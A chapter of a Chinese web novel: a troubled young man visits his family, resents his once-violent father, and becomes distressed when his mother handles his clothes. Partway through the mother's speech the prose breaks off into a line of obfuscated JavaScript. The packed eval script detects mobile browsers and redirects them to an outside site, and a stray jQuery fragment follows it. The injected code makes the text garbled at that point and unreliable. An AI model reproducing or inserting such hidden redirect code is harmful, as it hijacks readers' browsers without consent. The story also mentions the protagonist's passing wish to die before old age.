爸爸也不在意叶满忽视他，摇摇晃晃对叶满妈妈说：“跟你说，别欺负我儿子，这是我家宝贝。”
叶满觉得这个词汇太羞耻了，以至于他浑身起了一层鸡皮疙瘩，这种词不应该出现在这个家庭，太肉麻也太亲近了，有种边界被入侵的强烈不适感，叶满甚至想要冲上去捂住他的嘴，把那两个字塞回去。
妈妈皱眉说：“你别喝上点酒又没完。”
不像以前，这样的抱怨说完，爸爸就要凶狠地打人了。
现在的他，以一种宠溺的语气温柔地妥协：“行了，都嫌我烦，我家里地位最低了，赚钱给你娘俩花。”
有亲戚在这儿，妈妈嗔他一眼，就好像这年近花甲的俩人一向这样恩爱，阳光晒进来，就像这个家庭一向这样温馨和睦，就像只有叶满，还活在那个总是遍体鳞伤战战兢兢的小壳子里。
“你别欺负你妈，”爸爸心情好，又故作训斥的说：“她只能我来欺负。”
“你凭什么欺负她！”
叶满几乎是应激而出的一句极冷极冷的话，让场面顺时静了下来。
爸爸脸僵了一下，亲戚看着气氛尴尬，推爸爸进门了。
叶满充满厌恶与憎恨的眼神被爸妈看得一清二楚，但是爸爸没说什么，妈妈低低跟他说：“别气你爸，他身体已经没以前那么好了。”
叶满低下头，魂不守舍地戳着碗里的白米饭。
叶满没想气他，他就是忍不住，他控制不住对那个人产生对抗情绪，就像面对一生最大的敌人，那个人做什么叶满都觉得厌恶，厌恶到从心底涌出一种强烈的恶，他甚至想，自己和那个人前世一定有不共戴天的仇恨，今生才会这样互相折磨。
爸爸只要在家里，叶满就不喜欢在家里待着，否则他会觉得整个空间都很紧绷，他的一举一动都会非常紧张，要关注爸爸的脸色才敢进行下一步动作。
即使他只是想要喝一口水。
他去了姥姥家，两个老人家已经开始睡午觉了。
叶满脱掉鞋，爬到两个人中间，在那没了被罩的陈年被褥上躺下。
姥姥听到声响，睁开眼，轻轻说：“你也不嫌我不干净。”
夏天的风吹进来，就像姥姥的声音一样安稳。
叶满弯起唇，说：“我给你揉揉腿吧。”
姥姥笑呵呵说：“睡吧。”
明天早上他就要赶火车回冬城了，和同事汇合。
他也只能在家里待这一天。
叶满睡不着，他上午已经睡了。
他又打开了手机。
手机上有一条快递的短信息，上面显示到了一个包裹。
叶满没买过任何东西。
抿唇看了那条消息一会儿，轻轻点击屏幕。
电话显示已拨出，嘟嘟嘟三声响后，对面接起。
“喂？”叶满声音很轻地说：“这个号码的快递，帮我拒收吧。”
他又睡着了，睡了不到半个小时，庭前树影已经不动声色东移了一个角度。
姥爷在看着无声电视，因为他认为没声音省电费，有时候叶满加一点声音姥爷就会训斥他浪费电字，但是大哥哥放出声音姥爷就不会说。
叶满知道，这是因为自己是外孙，比他的孙子多了一个“外”字，他永远隔着一层亲。
这也导致姥姥也只能看无声电视，姥姥不识字，所以只能看图画，大多数时候，姥姥都是盯着电视静静发呆，叶满不知道她有没有看懂。
他把轮椅翻了出来，推到门口，想要带姥姥出去，姥姥却又犯起了懒，她咬着一截儿榆树条，摇摇头，说：“不想出去咯。”
叶满觉得，现在姥姥和自己有一点像，她老是沉浸在自己的世界里，别人进不去。
他觉得很难过，又着急。他想着，明明他就坐在姥姥面前，可为什么看她那么孤单，自己却找不到门进去抱抱她呢？
院子里比叶满小几岁的大树已经长得很高，茂密的叶子在风中哗啦啦响。
他和姥姥说一些自己的事情，他的生活实在无聊，只能胡编乱造一些，比如把别人身上发生的得意事安在自己身上，比如说前些天和朋友一起去越野了，事实上他根本没去，姥姥听不懂“越野”，但是听见叶满说，就会努力集中注意力。
就像幼时，姥姥终于得闲的时候会陪在他身边，就这样坐着，跟他一起翻花绳。
现在轮到他不忙的时候陪着姥姥，可他已经离开家了，这样的机会一年没二三。
一直到太阳西斜，叶满给两个老人做了一桌子饭菜，两个人吃饭时是不交谈的，安静得要命，不再像二十年前，两个人常常争吵，姥爷一言不合就掀桌子，姥姥边哭边收拾。
人老去以后，真的没有意思。
叶满想，自己在变老之前就死去吧。
他找不到生活的意义，心中没有一刻安宁，他过去的二十七年里，每一天都过得非常痛苦，他太累了。
回到家里，妈妈又在做饭。
三叔没走，正和爸爸闲聊，屋子里满是呛人的烟味儿。
叶满没进去，走到厨房帮妈妈干活儿。
妈妈正低着头，看上去有点没精神。
被烟熏得黢黑的墙壁、满地零碎的柴草，还有那一堆等着清洗的碗碟，这是妈妈每天要来的地方。
叶满心底涌起强烈的心疼，他想，还是告诉妈妈自己现在很有钱的事吧，她一定很开心。
“妈……”叶满小声问：“你怎么了？”
叶满妈妈一直低着头烧火，闻言也没抬起头来。
她这样明显是受了委屈。
叶满猜到这是来自谁，心底涌上一阵焦躁，他替妈妈刷起了碗，低低问：“他又发脾气了？”
“我就说不让他帮忙，显得他勤快似的，”妈妈压着嗓子，顾及面子不让屋里的客人听见，委屈地说：“每一次来人都这样，进来一趟又一趟，一遍遍催，在别人眼里好像他做了多大事似的，除了碍事什么也干不了。”
叶满：“……”
“我说不用他添柴火，让他出去，”妈妈愤愤地说：“他沉着脸就把他填进去的柴火又给抽出来了，仍在厨房里，烧了半截了，全是烟和火，我吓得赶紧用水浇灭了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15424863|169117||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。”
叶满觉得特别窒息，导致他太阳穴一突一突地跳，他利索地刷着碗，低低说：“妈，你跟他离婚吧，好不好？”
“离婚？”妈妈笑了声：“日子好不容易好起来，他也不像以前那样了，离婚我还怎么过日子？”
叶满：“我养你，你要是愿意就给你再找一个。”
妈妈：“唉，哪还有他这样的好人了？”
叶满就闭嘴不说话了。
有些人很矛盾，他既好又坏，他既没有责任感又能撑起一个家，他既暴戾又教导着孩子善良为人。
叶满进屋子里拔充电器，拔完就往门口走，闷着头，一声没吭。
爸爸在后面笑着叹了一句，颇无奈似的：“从小都让我溺爱坏了，也不知道叫人。”
爸爸一直认为叶满是被宠大的孩子，而且是极度溺爱环境下长大的，这和叶满的记忆大相径庭，他常常感到困惑，是否自己的记忆出过错误。
从里屋出来，大门外又来了一个人。
是三叔家的女儿，叶满应该叫妹妹来着。
他和这个妹妹关系还算融洽，大概因为年轻人个性总是自由包容一点，虽然平时他们不联系，但见面还算亲近。
小姑娘进来就笑眯眯和叶满打了招呼，站在外间和他闲聊。
叶满勉强扬起笑，他并不高兴，他已经在家里待够了，他想要回到只有自己一个人的地方待着。
叶满把手机充上电，准备继续帮妈妈忙，余光忽然扫见了什么。
叶满穿回来的衣服正放在他睡觉用的折叠床上，短袖、裤子，整整齐齐铺在上面，甚至不是叠起来的，全部平铺。
很难形容那种感觉，就像整个人瞬间被污染了一样，心脏表面附着上密密麻麻的病毒与细菌，裹得他觉得喘不过气。那些是他从冬城一路回来，在充满尿骚味的网约车上带回来的，而那不怎么干净的座椅上，可能会坐过形形色色的人，他们或许刚上过厕所、或许摸过什么脏东西……
最后都被自己粘上，带回家里。
他回来后把这些衣服扔到床底的篮子里，特意和屡次靠近它们、试图保存起来的妈妈说了至少三遍。
这些衣服很脏，不要碰到我的床。
这些衣服很脏，不要碰到我的床。
这些衣服很脏，不要碰到我的床。
叶满感到一种强烈的焦躁和恼怒，他甚至无法压抑下去，手抖的同时，他又感觉到了背痛。
为什么会这样？
本来放得好好的衣服不仅在床上，而且还铺得整整齐齐，把整张床污染得那样均匀。
“为什么？”叶满无法控制自己的情绪，他以一种极不满的语气说：“为什么从来不听我的话？”
妈妈茫然地看他。
叶满指着那些衣服，手在发抖：“为什么要把衣服放在床上？”
“哦哦，”妈妈满不在乎地说：“我怕给你弄脏了，就放床上了。”
“可是我已经说了，”叶满眼眶泛红，极力压抑：“我说过那些衣服非常脏。”
“一点也不脏啊。”